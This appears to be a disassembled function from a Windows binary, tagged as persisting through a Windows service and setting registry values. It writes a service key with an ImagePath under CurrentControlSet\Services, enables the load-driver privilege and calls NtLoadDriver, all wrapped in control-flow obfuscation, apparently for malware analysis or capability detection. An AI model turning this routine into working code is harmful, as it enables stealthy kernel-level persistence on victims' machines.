Function at 0x14007e7dc
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x118
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x90], 0xfffffffffffffffe
mov rbx, rcx
lea rsi, [rbp - 0x20]
mov rcx, rsi
mov rdx, rbx
xor r8d, r8d
call fcn.14007efdc
mov rdx, rbp
mov rcx, rsi
call fcn.14007f118
mov rcx, rbp
lea rdx, [rbp - 0x40]
call fcn.14007f3d2
mov rcx, rbp
call fcn.14007f5c0
lea rcx, [rbp - 0x20]
call fcn.14007f5c0
lea rdx, str.SYSTEMCurrentControlSetServices_
mov rsi, rbp
lea r14, [rbp - 0x40]
mov rcx, rsi
mov r8, r14
call fcn.14007f8c8
lea rdx, str.___
lea r15, [rbp - 0x20]
mov rcx, r15
mov r8, rbx
call fcn.14007f8c8
mov eax, 0x7990630f
cmp eax, 0x7990630f
je 0x14007e87f
cmp eax, 0x5a869933
jne 0x14007e86f
jmp 0x14007e886
mov eax, 0x5a869933
jmp 0x14007e86f
mov qword [rbp + 0x48], rsi
mov rcx, qword [rbp + 0x48]
call fcn.14001af56
lea r8, [rbp + 0x78]
mov rcx, 0xffffffff80000002
mov rdx, rax
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x14007e8bc
lea rcx, [0x1403a91bf]
call fcn.140020734
jmp 0x14007ea9d
mov eax, dword [0x1403fb51c]
mov ecx, dword [0x1403fb520]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x70]
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl cl
or cl, al
mov r8d, 0x2029eff
mov ecx, 0x2fd58a00
cmove r8d, ecx
mov eax, 0xb26088c4
cmove eax, ecx
mov edx, 0x6ec73ec5
mov ecx, 0xf81ac6f0
cmove edx, ecx
mov ecx, 0x7756c301
mov r9d, 0x7fb457da
mov edi, ecx
cmp ecx, 0x6aca4ee5
jg 0x14007e948
cmp edi, 0xf81ac6ef
jle 0x14007e96b
cmp edi, 0xf81ac6f0
je 0x14007e9de
cmp edi, 0x2fd58a00
jne 0x14007e9e8
mov rcx, qword [rbp + 0x28]
mov ecx, 0xb26088c4
jmp 0x14007e913
cmp edi, 0x7756c300
jg 0x14007e98f
mov ecx, eax
cmp edi, 0x6aca4ee6
je 0x14007e913
mov ecx, edi
cmp edi, 0x6ec73ec5
jne 0x14007e913
mov ecx, 0xf1bd7069
jmp 0x14007e913
cmp edi, 0xb26088c4
je 0x14007e9c0
mov ecx, edi
cmp edi, 0xf1bd7069
jne 0x14007e913
mov rcx, qword [rbp + 0x88]
mov qword [rbp + 0x28], rcx
mov ecx, 0x6aca4ee6
jmp 0x14007e913
cmp edi, 0x7fb457da
je 0x14007e9d0
mov ecx, edi
cmp edi, 0x7756c301
jne 0x14007e913
mov bl, byte [rbp + 0x70]
cmp byte [rbp + 0x68], 0
mov ecx, 0xf81ac6f0
cmovne ecx, r9d
test bl, bl
cmovne ecx, r9d
jmp 0x14007e913
mov rcx, qword [rbp + 0x28]
mov rsi, qword [rcx + 0x10]
mov ecx, r8d
jmp 0x14007e913
mov qword [rbp + 0x88], r15
mov ecx, edx
jmp 0x14007e913
mov ecx, 0x7fb457da
jmp 0x14007e913
mov ecx, edi
cmp edi, 0x2029eff
jne 0x14007e913
mov qword [rbp + 0x48], rsi
mov rsi, qword [rbp + 0x48]
mov eax, 0x7990630f
cmp eax, 0x7990630f
je 0x14007ea13
cmp eax, 0x5a869933
jne 0x14007ea03
jmp 0x14007ea1a
mov eax, 0x5a869933
jmp 0x14007ea03
mov qword [rbp + 0x48], r15
mov rcx, qword [rbp + 0x48]
call fcn.14001af56
mov rcx, qword [rbp + 0x78]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
lea r8, str.ImagePath
xor edx, edx
mov r9d, 2
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
test eax, eax
je 0x14007ea56
lea rcx, [0x1403a91bc]
jmp 0x14007ea8e
mov rcx, qword [rbp + 0x78]
lea rax, [0x140349a64]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
lea r8, [0x1403a8597]
xor edx, edx
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
test eax, eax
je 0x14007eacb
lea rcx, [0x1403a91b9]
call fcn.140020734
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
lea rcx, [rbp - 0x20]
call fcn.140037744
mov rcx, rbp
call fcn.140037744
lea rcx, [rbp - 0x40]
call fcn.140037744
mov eax, esi
add rsp, 0x118
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [0x1403a8327]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14007edf3
mov rsi, rax
lea rdx, str.RtlAdjustPrivilege
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call rdi
mov rbx, rax
lea rdx, str.NtLoadDriver
mov rcx, rsi
call rdi
mov r15, rax
lea r9, [rbp + 0x87]
mov ecx, 0xa
mov dl, 1
xor r8d, r8d
call rbx
test eax, eax
js 0x14007edff
mov qword [rbp + 0x70], r14
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0x68], rax
mov rcx, qword [rbp + 0x70]
call fcn.14001af56
mov qword [rbp + 0x88], rax
mov ecx, 0xd4f04be9
cmp ecx, 0x33792d70
je 0x14007eb75
cmp ecx, 0xd4f04be9
jne 0x14007eb4f
mov rax, qword [rbp + 0x88]
mov rcx, qword [rbp + 0x70]
add rax, qword [rcx + 0x10]
mov ecx, 0x33792d70
jmp 0x14007eb4f
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x68]
mov rax, qword [rbp + 0x28]
lea rcx, [rbp + 0x20]
mov qword [rcx], rax
mov qword [rbp + 0x48], rcx
mov eax, dword [0x1403fd750]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1403fd754], 0xa
setl cl
or cl, al
mov eax, 0xf8aa3a80
mov edx, 0xcbe44420
cmove eax, edx
mov ecx, 0x2ac2abcc
cmove ecx, edx
mov edx, 0xcc8a1660
cmp edx, 0xcc8a165f
jle 0x14007ebec
cmp edx, 0xcc8a1660
je 0x14007ec07
cmp edx, 0xf8aa3a80
je 0x14007ec0b
cmp edx, 0x2ac2abcc
jne 0x14007ebc4
mov rdx, qword [rbp + 0x48]
mov edx, eax
jmp 0x14007ebc4
cmp edx, 0x82ea556a
je 0x14007ec12
cmp edx, 0xcbe44420
jne 0x14007ebc4
mov rdx, qword [rbp + 0x48]
mov edx, 0x2ac2abcc
jmp 0x14007ebc4
mov edx, ecx
jmp 0x14007ebc4
mov edx, 0x82ea556a
jmp 0x14007ebc4
lea rcx, [rbp - 0x40]
lea rsi, [rbp - 0x48]
mov rdx, rsi
call fcn.14007fd98
mov rdx, qword [rsi]
mov r8, qword [rbp + 0x20]
lea rcx, [rbp + 0x48]
lea r9, [rbp + 0x28]
call fcn.14007ffa0
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rsi, [rbp + 0x28]
lea r8, [rbp + 0x48]
mov rcx, rsi
call fcn.140062557
lea rcx, [rbp + 0x48]
mov rdx, rsi
call fcn.1400801a8
mov eax, 0xf9955b72
mov ebx, 0x9609b047
mov edi, 0x8fb3a74c
cmp eax, 0xa7ecfb1f
jle 0x14007ec9a
cmp eax, 0xa7ecfb20
je 0x14007ecaa
cmp eax, 0x2dc2ae60
je 0x14007eccd
cmp eax, 0xf9955b72
jne 0x14007ec68
mov rcx, rsi
call fcn.14003aa0c
mov qword [rbp + 0x88], rsi
mov eax, 0xa7ecfb20
jmp 0x14007ec68
cmp eax, 0x8fb3a74c
je 0x14007ece0
cmp eax, 0x9609b047
jne 0x14007ec68
jmp 0x14007ed12
mov eax, dword [0x1403fb53c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2dc2ae60
cmove eax, edi
cmp dword [0x1403fb540], 0xa
cmovl eax, edi
jmp 0x14007ec68
mov rcx, qword [rbp + 0x88]
call fcn.14003c8f8
mov eax, 0x8fb3a74c
jmp 0x14007ec68
mov rcx, qword [rbp + 0x88]
call fcn.14003c8f8
mov eax, dword [0x1403fb53c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2dc2ae60
cmove eax, ebx
cmp dword [0x1403fb540], 0xa
cmovl eax, ebx
jmp 0x14007ec68
lea rsi, [rbp + 0x48]
mov rcx, rsi
call fcn.140080338
lea rbx, [rbp + 0x28]
mov rcx, rbx
mov rdx, rax
call sub.ntdll.dll_RtlInitUnicodeString
mov rcx, rbx
call r15
mov edi, eax
mov eax, 0xf9955b72
mov r14d, 0x9609b047
mov ebx, 0x8fb3a74c
cmp eax, 0xa7ecfb1f
jle 0x14007ed74
cmp eax, 0xa7ecfb20
je 0x14007ed84
cmp eax, 0x2dc2ae60
je 0x14007eda7
cmp eax, 0xf9955b72
jne 0x14007ed45
mov rcx, rsi
call fcn.14003aa0c
mov qword [rbp + 0x28], rsi
mov eax, 0xa7ecfb20
jmp 0x14007ed45
cmp eax, 0x8fb3a74c
je 0x14007edb7
cmp eax, 0x9609b047
jne 0x14007ed45
jmp 0x14007ede8
mov eax, dword [0x1403fb53c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2dc2ae60
cmove eax, ebx
cmp dword [0x1403fb540], 0xa
cmovl eax, ebx
jmp 0x14007ed45
mov rcx, qword [rbp + 0x28]
call fcn.14003c8f8
mov eax, 0x8fb3a74c
jmp 0x14007ed45
mov rcx, qword [rbp + 0x28]
call fcn.14003c8f8
mov eax, dword [0x1403fb53c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2dc2ae60
cmove eax, r14d
cmp dword [0x1403fb540], 0xa
cmovl eax, r14d
jmp 0x14007ed45
test edi, edi
setns sil
jmp 0x14007ea9f
lea rcx, [0x1403a91b6]
jmp 0x14007e8b2
lea rcx, [0x1403a91b3]
jmp 0x14007e8b2